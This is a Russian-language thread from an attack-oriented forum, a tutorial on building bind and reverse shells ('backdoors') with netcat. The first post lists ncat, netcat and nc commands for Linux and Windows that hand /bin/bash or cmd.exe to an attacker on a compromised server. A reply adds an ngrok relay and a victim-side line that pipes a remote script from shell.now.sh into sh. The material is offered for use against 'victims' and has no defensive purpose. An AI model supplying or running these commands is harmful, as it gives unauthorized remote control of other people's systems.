• XSS.stack #1 – первый литературный журнал от юзеров форума

Как сделать прямой и обратный шелл (бэкдор) с Netcat

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Шеллы разделают на два вида:
  • Shell
  • Reverse Shell (обратный шелл)
Они различаются особенностями подключения. Первый (прямой) — просто Shell — когда бэкдор прослушивает порт на удалённом компьютере в ожидании, когда на этот порт придёт подключение.

Второй (обратный) — Reverse Shell означает, что с удалённого компьютера делается запрос на машину атакующего, на которой, в свою очередь, уже запущена программа для управления бэкдором — которая также ожидает подключения от компьютера «жертвы».

Оба они имеют разные случаи использования. Прямой шелл используется если у компьютера жертвы белый IP адрес (без использования NAT). Обратный шелл используется, если удалённый компьютер находится за NAT (имеет только локальный IP адрес), либо если файервол блокирует входящие соединения — большинство файерволов настроены пропускать исходящие соединения.

В качестве бэкдоров и программ для создания шэллов могут использоваться разные инструменты, здесь я покажу как создать шелл используя легитимную программу Netcat или Ncat, которые по умолчанию установлены на многих компьютерах Linux и серверах.

На Linux
На сервере, к которому получен доступ, программа netcat может называться по-разному, частые варианты:
  • netcat
  • nc
  • ncat
Ищите их любую из этих программ.

В последующих командах я покажу на примере ncat, если вы найдёте на удалённом компьютере netcat или nc, то в последующих командах замените исполнимый файл на них.

В Ncat

Для создания шелла на удалённом компьютере:
Код:
ncat -l -e "/bin/bash" [ПОРТ]
Для подключения к нему с локального компьютера:
Код:
ncat [IP] [ПОРТ]
Перед созданием обратного шелла, предварительно на локальном компьютере нужно выполнить:
Код:
ncat -l [ПОРТ]
Затем для создания обратного шелла с удалённого компьютера там нужно выполнить:
Код:
ncat -e "/bin/bash" [IP] [ПОРТ]
5cd2b3b8c423d3.01137835_mlqfhkoejnpig.png

В GNU netcat, Netcat и nc
Для создания шелла на удалённом компьютере:
Код:
netcat -l -e "/bin/bash" -p [ПОРТ]
Для подключения к нему с локального компьютера:
Код:
netcat [IP] [ПОРТ]
Перед созданием обратного шелла, предварительно на локальном компьютере нужно выполнить:
Код:
netcat -l -p [ПОРТ]
Затем для создания обратного шелла с удалённого компьютера там нужно выполнить:
Код:
netcat -e "/bin/bash" [IP] [ПОРТ]

В Windows
Для создания прямого шелла:
Код:
nc -1 -p [ПОРТ] -e cmd.exe
Для создания обратного шелла (подключения до машины атакующего):
Код:
nc [IP атакующего] [ПОРТ] -e cmd.exe
Как и в случае с Linux, на машине атакующего уже должна быть запущена Ncat или другая программа для принятия входящего соединения.
 
атакер
Код:
nc -lp port
./ngrok tcp same_port

жертва
Код:
curl https://shell.now.sh/0.tcp.ngrok.io:port | sh

идея думаю понятна
 
В качестве бэкдоров и программ для создания шэллов могут использоваться разные инструменты, здесь я покажу как создать шелл используя легитимную программу Netcat или Ncat, которые по умолчанию установлены на многих компьютерах Linux и серверах.
Через netcat не работают кнопки курсора, псевдографика и другие спец символы, тонко настроить шелл со спец символами можно через socat
А что в Windows установлено по умолчанию?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх